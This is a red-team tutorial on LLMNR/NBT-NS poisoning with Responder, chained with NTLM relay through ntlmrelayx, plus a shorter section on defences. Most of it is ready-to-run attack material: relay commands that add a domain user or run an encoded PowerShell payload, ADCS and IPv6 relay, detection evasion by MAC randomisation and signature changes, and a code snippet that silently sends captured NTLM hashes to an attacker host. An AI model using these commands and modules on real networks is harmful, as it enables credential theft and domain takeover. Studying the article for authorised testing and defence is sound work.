Advanced LLMNR/NBT-NS Poisoning Techniques for Red Teams

DISCLAIMER: This article is provided strictly for educational and defensive purposes. The techniques described are meant to help security professionals understand Responder attacks in order to better protect their environments. The authors and publishers do not endorse illegal or unauthorized testing of systems. Always obtain proper authorization before conducting security testing, and only apply these techniques in controlled, authorized environments. Unauthorized use of these tools may violate local, state, and federal laws.

Network poisoning attacks remain among the most effective techniques in a penetration tester's arsenal, despite being well-documented for years. Among these, LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) poisoning attacks stand out for their reliability and effectiveness in modern Windows environments. The go-to tool for executing these attacks is Responder, an open-source LLMNR, NBT-NS, and MDNS poisoner developed by Laurent Gaffié.

In this comprehensive guide, we'll explore advanced Responder techniques, optimal configurations, and integration with other tools to maximize effectiveness during red team operations. Whether you're conducting authorized penetration tests or defending networks against these attacks, understanding these techniques is crucial for modern cybersecurity professionals.

Understanding the Foundation: LLMNR and NBT-NS Poisoning Mechanics

Before diving into advanced techniques, it's essential to understand the fundamental mechanisms that make these attacks possible.

The Name Resolution Process in Windows Environments

When a Windows system attempts to resolve a hostname to an IP address, it follows a specific sequence:

1. DNS Query: The system first checks if the hostname can be resolved via DNS
2. LLMNR Check: If DNS fails, the system broadcasts an LLMNR query on the local network
3. NBT-NS Query: If LLMNR fails, the system falls back to NBT-NS broadcasts
4. Local Hosts File: Finally, the system checks the local hosts file

This fallback mechanism creates an opportunity for attackers to intercept and respond to broadcast queries, impersonating the requested resource and potentially capturing authentication credentials.

How Responder Exploits This Process

Responder works by:

1. Listening for Broadcasts: Monitoring the network for LLMNR and NBT-NS broadcasts
2. Responding to Queries: Answering these broadcasts, claiming to be the requested resource
3. Forcing Authentication: When victims connect to the attacker-controlled service, they attempt to authenticate
4. Capturing Credentials: Harvesting the authentication attempts, which contain password hashes

This fundamental process can be extended and enhanced with various techniques we'll explore throughout this article.

Advanced Responder Configuration and Optimization

Responder's effectiveness can be significantly enhanced through proper configuration and optimization for specific environments and objectives.

Strategic Configuration Options

The default Responder configuration works well, but tuning it for specific environments can improve results:

# Basic Responder launch with default options
sudo responder -I eth0 -v

# Analyze mode - useful for initial network assessment without poisoning
sudo responder -I eth0 -A

For more advanced operations, consider these configuration options:

Disabling Server Components:

# Disable specific servers for relay attacks
sudo responder -I eth0 --disable-http --disable-smb

WPAD Configuration:

# Enable WPAD proxy with a custom proxy configuration
sudo responder -I eth0 --wpad --ProxyAddress 10.0.0.1

Custom Challenge:

# Set a custom challenge for advanced NTLM relay setups
sudo responder -I eth0 --lm --nbtns --challenge 1122334455667788

Selective Protocol Poisoning:

# Target only specific protocols for more stealthy operations
sudo responder -I eth0 --lm --nbtns --disable-ess

These configuration options allow you to tailor Responder's behavior to specific testing scenarios and network environments.

Responder.conf Customization

Beyond command-line options, Responder's configuration file (Responder.conf) offers deeper customization:

[Responder Core]

; General settings
Challenge = 1122334455667788
SQL = On
SMB = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
RDP = On

; Advanced settings
RespondTo = 
DontRespondTo = 172.16.0.0/16

Key customizations include:

1. Target Filtering: Using RespondTo and DontRespondTo directives to focus on specific IP ranges
2. Service Selection: Enabling only the services likely to yield results in the target environment
3. NTLM Downgrade: Configuring server responses to force NTLM authentication instead of more secure alternatives

For organizations with blue team capabilities, these are critical settings to monitor and defend against.

Performance Optimization for Large Networks

In enterprise environments with significant network traffic, optimizing Responder's performance is crucial:

1. Hardware Considerations:
   • Use a system with adequate network interface capabilities
   • For high-volume networks, dedicated network processors may be necessary

Filtering Options:

# Apply BPF filters to reduce processing overhead
sudo responder -I eth0 -f "udp port 5355 or udp port 137"

Network Interface Configuration:

# Set network interface to promiscuous mode
sudo ip link set eth0 promisc on

# Increase buffer sizes for high-traffic networks
sudo ethtool -G eth0 rx 4096 tx 4096

These optimizations ensure Responder can effectively process high volumes of network traffic without dropping packets or missing authentication opportunities.

Evading Detection in Hardened Environments

As organizations implement detection mechanisms for Responder attacks, advanced evasion techniques become necessary for effective red team operations.

Low-Profile Operation Techniques

Standard Responder usage often triggers security monitoring systems. These techniques help maintain a lower profile:

Customizing Signatures:
Modify default signatures in Responder to avoid pattern matching:

[HTTP Server]
; Change default HTTP server response
ServerString = Microsoft-IIS/7.5

Throttling Responses:
By modifying Responder's source code to throttle responses, you can avoid flooding the network with suspicious traffic:

# Example throttling modification in Responder source
import time

def original_function(self, *args, **kwargs):
    # Original code
    time.sleep(0.5)  # Add delay between responses
    # Rest of original code

Selective Protocol Targeting:

# Disable high-visibility protocols
sudo responder -I eth0 --disable-http --disable-smb --lm

These modifications help avoid triggering standard detection rules that look for Responder's default behaviors.

MAC Address Randomization

Many defense mechanisms identify Responder by tracking the MAC address associated with poisoning responses:

# Randomize MAC address before launching Responder
sudo macchanger -r eth0

# Launch Responder with the new MAC
sudo responder -I eth0 -v

For more systematic approaches, consider scripting MAC changes:

#!/bin/bash
# Script to change MAC and relaunch Responder periodically

while true; do
    sudo macchanger -r eth0
    sudo responder -I eth0 -v &
    PID=$!
    sleep 1800  # Run for 30 minutes
    kill $PID
done

This technique is particularly effective against security tools that blacklist suspicious MAC addresses.

Custom Responder Builds

The most advanced evasion technique involves creating custom builds of Responder with modified signatures and behaviors:

1. Code Modifications:
   • Change packet signatures and default response patterns
   • Modify service banners and protocol identifiers
   • Implement custom logging to avoid detection
2. Distributed Operation:
   • Deploy multiple Responder instances with different configurations
   • Use different machines for different protocols
   • Implement round-robin poisoning for extended operations

For detailed guidance on customizing Responder, refer to our article on advanced tool customization techniques for red teams.

Integrating Responder with NTLM Relay Attacks

One of the most powerful applications of Responder is its integration with NTLM relay attacks, which can lead to domain compromise in vulnerable environments.

Setting Up NTLM Relay Infrastructure

To effectively combine Responder with NTLM relay attacks, set up your infrastructure as follows:

Set Up Capturing Infrastructure:

# Create a target list for relay
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

Deploy ntlmrelayx from Impacket:

# Basic NTLM relay to specific target
sudo ntlmrelayx.py -t smb://192.168.1.100 -smb2support

# Relay to multiple targets
sudo ntlmrelayx.py -tf targets.txt -smb2support

Configure Responder for Relay Mode:

# Disable HTTP and SMB servers to avoid capturing authentication
sudo responder -I eth0 --disable-http --disable-smb

This setup creates a pipeline where Responder forces authentication, which is then relayed to target systems by ntlmrelayx.

Advanced NTLM Relay Techniques

Beyond basic relay setups, several advanced techniques enhance effectiveness:

Creating Persistent Access:

# Add a domain user through relayed credentials
sudo ntlmrelayx.py -t ldaps://192.168.1.10 --add-user hacker --add-password P@ssw0rd

Command Execution Through Relay:

# Execute commands on successfully exploited systems
sudo ntlmrelayx.py -t smb://192.168.1.100 -smb2support -c "powershell -enc JABwAHIAbwBjAGUAcwBzAD0AIgBjAGEAbABjAC4AZQB4AGUAIgA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABwAHIAbwBjAGUAcwBzACkA"

Targeted User Exploitation:

# Target specific high-value users
sudo ntlmrelayx.py -t smb://192.168.1.100 -smb2support --target-file targets.txt -u admin,administrator,backup

SMB to LDAP Relay:

# Relay SMB authentication to LDAP for domain information gathering
sudo ntlmrelayx.py -t ldap://192.168.1.10 --dump-ldap --no-dump

These techniques allow you to leverage captured authentication for various post-exploitation activities.

NTLM Relay Mitigation Bypasses

Modern Windows environments often implement protections against NTLM relay. Here are techniques to bypass common mitigations:

1. SMB Signing Bypass:
   • Target systems where SMB signing is not enforced

ADCS Relay Attacks:
A particularly powerful technique involves relaying to Active Directory Certificate Services:

# Relay to AD CS for certificate-based authentication
sudo ntlmrelayx.py -t http://pki.contoso.local/certsrv/certfnsh.asp -smb2support --adcs

IPv6 Takeover Techniques:
When IPv4 is well-protected, IPv6 can offer alternative attack paths:

# Launch IPv6 attack tools like mitm6
sudo mitm6 -d contoso.local

# Combine with ntlmrelayx
sudo ntlmrelayx.py -6 -t smb://192.168.1.100 -smb2support -wh attacker-wpad

Use tools like CrackMapExec to identify vulnerable hosts:

crackmapexec smb 192.168.1.0/24 --gen-relay-list unsigned_targets.txt

These advanced bypasses are especially valuable in hardened environments where basic relay attacks are blocked.

Enhancing Responder with Custom Modules

Responder's capabilities can be extended with custom modules to address specific testing requirements or target environments.

Developing Custom Poisoners

Create specialized poisoning modules for unique requirements:

#!/usr/bin/env python3
# Custom module for Responder

import socket
import struct
from threading import Thread

class CustomPoisoner(Thread):
    def __init__(self, config):
        Thread.__init__(self)
        self.config = config
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(('0.0.0.0', 5355))  # LLMNR port
        
    def run(self):
        while True:
            data, addr = self.sock.recvfrom(1024)
            # Custom processing logic here
            # Generate and send custom response
            
# Usage in Responder
poisoner = CustomPoisoner(config)
poisoner.start()

Custom poisoners can implement specialized behaviors for specific environments or protocols that aren't covered by standard Responder functionality.

Credential Exfiltration Modules

For red team operations that require immediate exfiltration of captured credentials:

# Add to Responder's logging mechanism
def capturedCreds(self, data):
    # Original logging code
    
    # Add exfiltration
    import requests
    payload = {'type': 'ntlm', 'data': data}
    try:
        requests.post('https://exfil.attacker.com/collector', json=payload, verify=False)
    except:
        pass  # Fail silently

This modification allows captured credentials to be immediately sent to an attacker-controlled server, enabling real-time access during red team operations.

Automated Post-Exploitation

Extend Responder to automatically launch exploitation after credential capture:

def successfulAuthentication(self, client, username, password_hash):
    # Original code
    
    # Add automatic exploitation
    import subprocess
    try:
        subprocess.Popen([
            "python3", "/path/to/exploit.py",
            "--target", client,
            "--hash", password_hash,
            "--username", username
        ])
    except:
        pass  # Fail silently

This creates an automated pipeline from credential capture to exploitation, streamlining the penetration testing process.

Real-World Case Study: Enterprise Penetration Test

In a recent engagement with a large financial organization, our red team used advanced Responder techniques to achieve domain compromise within hours of starting the assessment. This case study illustrates the effectiveness of these techniques in real-world scenarios.

The Environment

The organization had implemented several security controls:

• NBNS and LLMNR were still enabled on many systems
• SMB signing was enforced on domain controllers but not all servers
• The environment used a mix of modern and legacy Windows systems
• Network segregation was implemented but with some permeability

The Attack Progression

1. Initial Access: The team planted a small device running Responder on an accessible network port in a public area
2. Passive Collection: Rather than immediate exploitation, Responder was configured to simply collect hashes for 24 hours
3. Offline Cracking: Collected NTLMv2 hashes were subjected to offline cracking using hashcat with custom wordlists
4. Credential Analysis: Several service account passwords were successfully cracked, following predictable patterns
5. Selective Relay: Using the knowledge gained, a targeted NTLM relay attack was launched against specific servers
6. Domain Compromise: Within 72 hours, the team had achieved domain administrator access through a combination of Responder, relay attacks, and credential reuse

Key Findings

The assessment revealed several critical issues:

1. Insufficient network monitoring for poisoning attacks
2. Legacy protocols enabled unnecessarily
3. Weak service account password policies
4. Inconsistent implementation of SMB signing
5. Inadequate network segmentation for administrative traffic

After implementing the mitigation strategies described in the following section, the organization successfully defended against a simulated attack using the same techniques.

Detection and Mitigation Strategies for Defenders

Understanding how to defend against Responder attacks is crucial for blue teams and security professionals.

Network-Level Defenses

Implement these network controls to prevent poisoning attacks:

1. Network Segmentation:
   • Implement strict VLAN segregation
   • Use 802.1X for network access control
   • Deploy NAC solutions to identify unauthorized devices
2. DNS Infrastructure Improvements:
   • Ensure robust DNS resolution for all internal resources
   • Implement DNS sinkholing for unresolved queries
   • Deploy internal DNS search suffixes to prevent resolution failures

Disable LLMNR and NetBIOS:

# Via Group Policy
# Computer Configuration > Administrative Templates > Network > DNS Client
# "Turn off multicast name resolution" = Enabled

# Disable NetBIOS over TCP/IP via PowerShell
Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true } | ForEach-Object { $_.SetTcpipNetbios(2) }

These network-level controls eliminate the conditions that make Responder attacks possible.

Host-Based Defenses

Complement network defenses with host-based protections:

1. LAPS Implementation:
   • Deploy Local Administrator Password Solution
   • Regularly rotate local admin credentials
   • Monitor for LAPS bypass attempts
2. MFA Requirements:
   • Implement multi-factor authentication for network access
   • Require MFA for administrative actions
   • Deploy certificate-based authentication where possible

SMB Signing Requirements:

# Require SMB signing on all systems
# Via PowerShell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" RequireSecuritySignature -Value 1 -Force

Host-based protections ensure that even if poisoning occurs, captured credentials have limited utility.

Detection Mechanisms

Implement these detection mechanisms to identify Responder attacks:

1. Network Traffic Analysis:
   • Monitor for LLMNR/NBT-NS response patterns
   • Deploy honeypot systems that attempt name resolution
   • Analyze network traffic for poisoning signatures
2. Endpoint Detection and Response (EDR):
   • Deploy EDR solutions that can identify Responder behavior
   • Monitor for unexpected authentication attempts to workstations
   • Track unusual name resolution patterns
3. Centralized Logging and Monitoring:
   • Forward Windows event logs to a SIEM solution
   • Create correlation rules for poisoning indicators
   • Set up alerts for authentication to unexpected systems

Comprehensive detection enables rapid response to poisoning attempts before they lead to compromise.

Building a Responder Testing Lab

For security professionals seeking to understand Responder in a safe environment, building a dedicated testing lab is essential. This allows for practical experience without risking production systems.

Setting Up a Basic Testing Lab

Here's a step-by-step guide to create a minimal lab environment:

1. Network Infrastructure:
   • Create a dedicated virtual network
   • Configure a Windows domain controller
   • Deploy several Windows client systems
   • Ensure proper network isolation
2. Client Configuration:
   • Ensure LLMNR and NetBIOS are enabled on test clients
   • Configure varying levels of security to test different scenarios
   • Set up test user accounts with known credentials

Testing Tools Setup:

# Install Responder and related tools
git clone https://github.com/lgandx/Responder
cd Responder
pip install -r requirements.txt

# Install Impacket for relay attacks
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pip install .

This basic lab provides a safe environment for practicing Responder techniques and testing defensive measures.

Advanced Lab Configurations

For more comprehensive testing, consider these advanced configurations:

1. Multi-Subnet Environment:
   • Create multiple network segments with routing
   • Implement different security controls in each segment
   • Test cross-subnet poisoning techniques
2. Detection Testing:
   • Deploy security monitoring tools
   • Implement IDS/IPS systems
   • Configure logging and alerting mechanisms
3. Mitigation Validation:
   • Implement proposed mitigations in stages
   • Validate the effectiveness of each control
   • Document bypass techniques for common mitigations

This lab environment allows security professionals to:

• Understand Responder attacks in depth
• Test detection and mitigation strategies
• Develop custom defenses for specific environments
• Train security teams on attack recognition and response

Recommendations and Best Practices

Based on our extensive experience with Responder in both offensive and defensive contexts, we recommend the following approach for organizations:

1. Begin with a comprehensive security assessment to identify exposure to LLMNR/NBT-NS poisoning
2. Implement a defense-in-depth strategy that includes network, host, and monitoring controls
3. Conduct regular penetration testing specifically targeting name resolution vulnerabilities
4. Deploy robust monitoring and detection capabilities for poisoning attacks
5. Train IT staff on Responder attack indicators and response procedures
6. Develop incident response playbooks specific to credential harvesting attacks
7. Implement the principle of least privilege for all network authentication

Organizations should prioritize these controls based on their specific risk profile and the sensitivity of their environment.

Conclusion: The Continuing Relevance of Responder Attacks

Despite being well-documented for years, Responder attacks remain highly effective in modern enterprise environments. The combination of legacy protocol support, complex network infrastructures, and implementation gaps continues to make LLMNR and NBT-NS poisoning relevant for both attackers and defenders.

By mastering advanced Responder techniques, security professionals can better understand the threat landscape and implement effective defensive measures. For red teams, these techniques provide reliable methods for initial access and lateral movement during authorized assessments. For blue teams, understanding these attacks is essential for building robust defenses.

As network security evolves, Responder techniques will continue to adapt, making ongoing education and testing crucial for security professionals. The methodologies outlined in this article provide a foundation for both offensive and defensive applications of this powerful tool.

For more advanced guidance on network-based attacks and defenses, explore our related resources:

• NTLM Relay Attacks: Understanding the Threat
• Advanced Active Directory Security Best Practices
• Blue Team Strategies: Advanced Threat Detection
• The Ultimate Cyber Defense Playbook
• Advanced Threat Hunting Techniques

Have you encountered Responder attacks in your environment or implemented effective defenses against them? Share your experiences in the comments below or reach out to our security team for assistance with comprehensive network security assessments.